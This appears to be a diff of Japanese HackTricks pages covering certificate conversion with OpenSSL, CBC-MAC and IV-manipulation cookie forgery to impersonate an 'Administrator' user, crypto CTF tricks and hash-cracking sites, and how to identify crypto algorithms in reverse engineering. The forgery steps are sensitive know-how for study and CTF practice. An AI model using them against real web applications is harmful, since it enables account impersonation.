**PFX変換**はWindowsで証明書を管理するために重要です
* **PFXからPEMへ**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
* **PFXをPKCS#8に変換する**には、2つのステップが必要です
1. PFXをPEMに変換します
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. PEMをPKCS8に変換します。
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
* **P7BをPFXに** 変換するには、2つのコマンドが必要です
1. P7BをCERに変換します。
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. CERおよびプライベートキーをPFXに変換します。
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
***
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでAWSハッキングを学ぶ**</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -0,0 +1,81 @@
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手
* 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
# CBC
もし**クッキー**が**ユーザー名だけ**(またはクッキーの最初の部分がユーザー名)であり、ユーザー名を "**admin**" に偽装したい場合、ユーザー名 **"bdmin"** を作成し、クッキーの**最初のバイト**を**ブルートフォース**することができます。
# CBC-MAC
暗号学において、**Cipher Block Chaining Message Authentication Code****CBC-MAC**はブロック暗号からメッセージ認証コードを構築するための技術です。メッセージは、いくつかのブロック暗号アルゴリズムをCBCモードで暗号化して、**前のブロックの適切な暗号化に依存するブロックの連鎖**を作成します。この相互依存性により、**平文のビットを変更すると、最終的な暗号化されたブロックが予測できず、鍵を知らないと対抗できない方法で変更**されます。
メッセージ m の CBC-MAC を計算するには、m をゼロ初期化ベクトルで CBC モードで暗号化し、最後のブロックを保持します。次の図は、秘密鍵 k とブロック暗号 E を使用して、ブロック![m\_{1}\\|m\_{2}\\|\cdots \\|m\_{x}](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) から CBC-MAC を計算する構造を示しています:
![CBC-MAC structure (en).svg](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png)
# 脆弱性
通常、CBC-MAC では使用される**IV は 0**です。\
これは、2つの既知のメッセージ`m1` と `m2`が独立して2つの署名`s1` と `s2`)を生成するという問題があります。つまり:
* `E(m1 XOR 0) = s1`
* `E(m2 XOR 0) = s2`
その後、m1 と m2 を連結したメッセージm3は、2つの署名s31 と s32を生成します
* `E(m1 XOR 0) = s31 = s1`
* `E(m2 XOR s1) = s32`
**これは、暗号の鍵を知らなくても計算可能です。**
8 バイトのブロックで名前 **Administrator** を暗号化していると想像してください:
* `Administ`
* `rator\00\00\00`
**Administ**m1の署名s1を取得できます。\
次に、`rator\00\00\00 XOR s1` の結果となるユーザー名を作成できます。これにより `E(m2 XOR s1 XOR 0)` が生成され、s32 となります。\
これで、s32 を **Administrator** のフルネームの署名として使用できます。
### 要約
1. ユーザー名 **Administ**m1の署名である s1 を取得します
2. ユーザー名 **rator\x00\x00\x00 XOR s1 XOR 0** の署名である s32 を取得します**。**
3. クッキーを s32 に設定すると、ユーザー **Administrator** の有効なクッキーになります。
# IV を制御する攻撃
使用される IV を制御できる場合、攻撃は非常に簡単になります。\
クッキーが単に暗号化されたユーザー名である場合、ユーザー "**administrator**" を偽装するためにユーザー "**Administrator**" を作成し、そのクッキーを取得できます。\
そして、IV を制御できる場合、IV の最初のバイトを変更して **IV\[0] XOR "A" == IV'\[0] XOR "a"** とし、ユーザー **Administrator** のクッキーを再生成できます。このクッキーは、初期の **IV****administrator** ユーザーを偽装するために有効です。
# 参考文献
詳細は[https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)を参照してください。
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手
* 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>

View file

@ -0,0 +1,298 @@
# Crypto CTFs Tricks
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks_live**をフォローする
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details>
## オンラインハッシュDB
- _**Googleで検索**_
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
- [https://crackstation.net/](https://crackstation.net)
- [https://md5decrypt.net/](https://md5decrypt.net)
- [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com)
- [https://gpuhash.me/](https://gpuhash.me)
- [https://hashes.org/search.php](https://hashes.org/search.php)
- [https://www.cmd5.org/](https://www.cmd5.org)
- [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
## マジックオートソルバー
- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)(マジックモジュール)
- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
## エンコーダ
ほとんどのエンコードされたデータは、これら2つのリソースでデコードできます
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### 代入オートソルバー
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
- [https://quipqiup.com/](https://quipqiup.com) - Very good !
#### シーザー - ROTxオートソルバー
- [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
#### アトバッシュ暗号
- [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
### ベースエンコーディングオートソルバー
これらのベースをすべてチェックする:[https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- **Ascii85**
- `BQ%]q@psCd@rH0l`
- **Base26** \[_A-Z_]
- `BQEKGAHRJKHQMVZGKUXNT`
- **Base32** \[_A-Z2-7=_]
- `NBXWYYLDMFZGCY3PNRQQ====`
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
- `pbzsaamdcf3gna5xptoo====`
- **Base32 Geohash** \[_0-9b-hjkmnp-z_]
- `e1rqssc3d5t62svgejhh====`
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
- `D1QPRRB3C5S62RVFDHGG====`
- **Base32 Extended Hexadecimal** \[_0-9A-V_]
- `D1NMOOB3C5P62ORFDHGG====`
- **Base45** \[_0-9A-Z $%\*+-./:_]
- `59DPVDGPCVKEUPCPVD`
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
- `2yJiRg5BF9gmsU6AC`
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
- `2YiHqF5bf9FLSt6ac`
- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
- `pyJ5RgnBE9gm17awU`
- **Base62** \[_0-9A-Za-z_]
- `g2AextRZpBKRBzQ9`
- **Base64** \[_A-Za-z0-9+/=_]
- `aG9sYWNhcmFjb2xh`
- **Base67** \[_A-Za-z0-9-_.!\~\_]
- `NI9JKX0cSUdqhr!p`
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `BQ%]q@psCd@rH0l`
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `<~BQ%]q@psCd@rH0l~>`
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
- `Xm4y`V\_|Y(V{dF>\`
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- **Base85 (XML)** \[_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\__]
- `Xm4y|V{~Y+V}dF?`
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
- `frDg[*jNN!7&BQM`
- **Base100** \[]
- `👟👦👣👘👚👘👩👘👚👦👣👘`
- **Base122** \[]
- `4F ˂r0Xmvc`
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
- `DmPsv8J7qrlKEoY7`
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
- `kLD8iwKsigSalLJ5`
- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
- `ayRiIo1gpO+uUc7g`
- **ESAB46** \[]
- `3sHcL2NR8WrT7mhR`
- **MEGAN45** \[]
- `kLD8igSXm2KZlwrX`
- **TIGO3FX** \[]
- `7AP9mIzdmltYmIP9mWXX`
- **TRIPO5** \[]
- `UE9vSbnBW6psVzxB`
- **FERON74** \[]
- `PbGkNudxCzaKBm0x`
- **GILA7** \[]
- `D+nkv8C1qIKMErY1`
- **Citrix CTX1** \[]
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_]
```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
```
* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 Not Found: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
### モールス
```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
```
* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Not Found: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### UUencoder
```
begin 644 webutils_pl
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/
F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
`
end
```
* [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
### XXエンコーダ
```
begin 644 webutils_pl
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
5Hol-G2xAEE++
end
```
* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
### Yエンコーダ
```
=ybegin line=128 size=28 name=webutils_pl
ryvkryvkryvkryvkryvkryvkryvk
=yend size=28 crc32=35834c86
```
* [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
### ビンヘックス
```
(This file must be converted with BinHex 4.0)
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
-38K26%'d9J!!:
```
* [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
### ASCII85
### ASCII85
```
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
```
* [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
### Dvorak キーボード
```
drnajapajrna
```
* [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard)
### A1Z26
文字を数値に変換
```
8 15 12 1 3 1 18 1 3 15 12 1
```
### アフィン暗号のエンコード
文字を数値に変換して `(ax+b)%26` で計算する_a_ と _b_ はキーで、_x_ は文字)、そして結果を再び文字に戻す
```
krodfdudfrod
```
### SMSコード
**Multitap**は、モバイル[電話のキーパッド](https://www.dcode.fr/phone-keypad-cipher)上の対応するキーコードで定義された繰り返し数字によって文字を置き換えますこのモードはSMSを書く際に使用されます。\
例: 2=A, 22=B, 222=C, 3=D...\
このコードは、**複数の数字が繰り返される**のが特徴です。
このコードをデコードすることができます: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### ベーコンコード
各文字を4つのAまたはBまたは1と0に置き換えます。
```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
```
### ルーン
![](../.gitbook/assets/runes.jpg)
## 圧縮
**Raw Deflate** と **Raw Inflate**どちらもCyberchefで見つけることができますは、ヘッダーなしでデータを圧縮および解凍することができます。
## 簡単な暗号
### XOR - 自動解読
* [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
### Bifid
キーワードが必要です
```
fgaargaamnlunesuneoa
```
### Vigenere
キーワードが必要です
```
wodsyoidrods
```
* [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
* [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
* [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
## 強力な暗号
### Fernet
2つのbase64文字列トークンとキー
```
Token:
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
Key:
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
```
* [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
### Samir Secret Sharing
秘密はX部分に分割され、それを回復するにはY部分が必要です_Y <=X_
```
8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89
803bc8cf294b3f83d88e86d9818792e80cd
```
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
### OpenSSL brute-force
* [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
* [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy\_BFopensslCTF)
## Tools
* [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
* [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
* [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -0,0 +1,208 @@
# 暗号化/圧縮アルゴリズム
## 暗号化/圧縮アルゴリズム
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **ハッキングテクニックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
## アルゴリズムの特定
コードが**シフト右と左、XOR、およびいくつかの算術演算**を使用している場合、それが**暗号化アルゴリズム**の実装である可能性が非常に高いです。ここでは、**各ステップを逆にする必要なしに使用されているアルゴリズムを特定する方法**をいくつか紹介します。
### API 関数
**CryptDeriveKey**
この関数が使用されている場合、第2パラメータの値をチェックして、使用されている**アルゴリズムを特定**できます:
![](<../../.gitbook/assets/image (375) (1) (1) (1) (1).png>)
可能なアルゴリズムとそれに割り当てられた値の表はこちらを参照: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer**
指定されたデータバッファを圧縮および解凍します。
**CryptAcquireContext**
[ドキュメント](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta)によると、**CryptAcquireContext** 関数は、特定の暗号化サービスプロバイダCSP内の特定のキーコンテナへのハンドルを取得するために使用されます。**この返されたハンドルは、選択したCSPを使用する CryptoAPI 関数の呼び出しで使用されます**。
**CryptCreateHash**
データストリームのハッシングを開始します。この関数が使用されている場合、第2パラメータの値をチェックして、使用されている**アルゴリズムを特定**できます:
![](<../../.gitbook/assets/image (376).png>)
\
可能なアルゴリズムとそれに割り当てられた値の表はこちらを参照: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
### コード定数
アルゴリズムを特定するのが非常に簡単な場合があります。それは特別でユニークな値を使用する必要があるためです。
![](<../../.gitbook/assets/image (370).png>)
最初の定数をGoogleで検索すると、次のようになります:
![](<../../.gitbook/assets/image (371).png>)
したがって、逆コンパイルされた関数が**sha256 計算機**であると仮定できます。\
他の定数のいずれかを検索すると(おそらく)同じ結果が得られます。
### データ情報
コードに有意義な定数がない場合、**.data セクションから情報を読み込んでいる**可能性があります。\
そのデータにアクセスし、最初の dword をグループ化して、前述のセクションで行ったように Google で検索できます:
![](<../../.gitbook/assets/image (372).png>)
この場合、**0xA56363C6** を検索すると、**AES アルゴリズムのテーブル**に関連していることがわかります。
## RC4 **(対称暗号)**
### 特徴
* **初期化ステージ/**: 0x00 から 0xFF合計 256 バイト、0x100までの値の**テーブルを作成**します。このテーブルは一般的に**置換ボックス**(または SBox と呼ばれる)と呼ばれます。
* **スクランブルステージ**: 以前に作成されたテーブルを**ループ**して(再び 0x100 回のループ)、各値を**半ランダム**バイトで変更します。この半ランダムバイトを作成するために、RC4 **キーが使用**されます。RC4 **キー**は**1〜256 バイトの長さ**にすることができますが、通常は 5 バイト以上であることが推奨されています。一般的に、RC4 キーは 16 バイトの長さです。
* **XOR ステージ**: 最後に、平文または暗号文が以前に作成された値と**XOR**されます。暗号化および復号化のための関数は同じです。これにより、作成された 256 バイトを**必要な回数だけループ**します。これは通常、逆コンパイルされたコードで**%256mod 256**と認識されます。
{% hint style="info" %}
**逆アセンブリ/逆コンパイルされたコードで RC4 を特定するには、2 つのサイズ 0x100 のループ(キーを使用)をチェックし、おそらく %256mod 256を使用して 2 つのループで作成された 256 値との入力データの XOR を行うことを確認します。**
{% endhint %}
### **初期化ステージ/置換ボックス:**256 というカウンターの使用と、256 文字の各場所に 0 が書かれていることに注目)
![](<../../.gitbook/assets/image (377).png>)
### **スクランブルステージ:**
![](<../../.gitbook/assets/image (378).png>)
### **XOR ステージ:**
![](<../../.gitbook/assets/image (379).png>)
## **AES対称暗号**
### **特徴**
* **置換ボックスとルックアップテーブルの使用**
* 特定のルックアップテーブル値定数の使用により、AES を**識別**することが可能です。_**定数**は**バイナリに格納**されるか、_**動的に作成**されることがあります。_
* **暗号化キー**は**16 で割り切れる**必要があります(通常 32B、通常 16B の IV が使用されます。
### SBox 定数
![](<../../.gitbook/assets/image (380).png>)
## Serpent **(対称暗号)**
### 特徴
* それを使用するマルウェアを見つけるのは珍しいですが、例がありますUrsnif
* 非常に長い関数に基づいてアルゴリズムが Serpent かどうかを簡単に判断できます。
### 特定
次の画像で、定数 **0x9E3779B9** が使用されていることに注意してください(この定数は **TEA** -Tiny Encryption Algorithm などの他の暗号アルゴリズムでも使用されています)。\
また、**ループのサイズ****132**)、**XOR 演算の数****逆アセンブリの命令**および**コード**の例で)に注目してください:
![](<../../.gitbook/assets/image (381).png>)
前述のように、このコードは**非常に長い関数**として任意の逆コンパイラ内で視覚化でき、その中に**ジャンプがない**ためです。逆コンパイルされたコードは次のように見える可能性があります:
![](<../../.gitbook/assets/image (382).png>)
したがって、このアルゴリズムを特定するには、**マジックナンバー**と**初期 XOR**をチェックし、**非常に長い関数**を見て、いくつかの**命令**を**実装**と比較することが可能です(たとえば、左に 7 ビットシフトおよび左に 22 ビット回転)。
## RSA **(非対称暗号)**
### 特徴
* 対称アルゴリズムよりも複雑
* 定数はありません!(カスタム実装は特定が難しい)
* KANAL暗号解析ツールは RSA についてのヒントを表示できず、定数に依存しています。
### 比較による特定
![](<../../.gitbook/assets/image (383).png>)
* 左側の 11 行目には `+7) >> 3` があり、右側の 35 行目には `+7) / 8` があります
* 左側の 12 行目は `modulus_len < 0x040` をチェックしており、右側の 36 行目は `inputLen+11 > modulusLen` をチェックしています
## MD5 & SHAハッシュ
### 特徴
* 初期化、更新、最終の 3 つの関数
* 似た初期化関数
### 特定
**Init**
両方を特定するには、定数をチェックしてください。sha\_init には MD5 にはない 1 つの定数があることに注意してください:
![](<../../.gitbook/assets/image (385).png>)
**MD5 変換**
より多くの定数の使用に注意してください
![](<../../.gitbook/assets/image (253) (1) (1) (1).png>)
## CRCハッシュ
* データの偶発的な変更を見つけるための機能として、より小さく、効率的です
* ルックアップテーブルを使用します(定数を特定できます)
### 特定
**ルックアップテーブルの定数**をチェックしてください:
![](<../../.gitbook/assets/image (387).png>)
CRC ハッシュアルゴリズムは次のようになります:
![](<../../.gitbook/assets/image (386).png>)
## APLib圧縮
### 特徴
* 識別可能な定数はありません
* Python でアルゴリズムを書いて、オンラインで類似したものを検索できます
### 特定
グラフはかなり大きいです:
![](<../../.gitbook/assets/image (207) (2) (1).png>)
認識するために**3 つの比較**をチェックしてください:
![](<../../.gitbook/assets/image (384).png>)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **ハッキングテクニックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>

View file

@ -0,0 +1,37 @@
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する
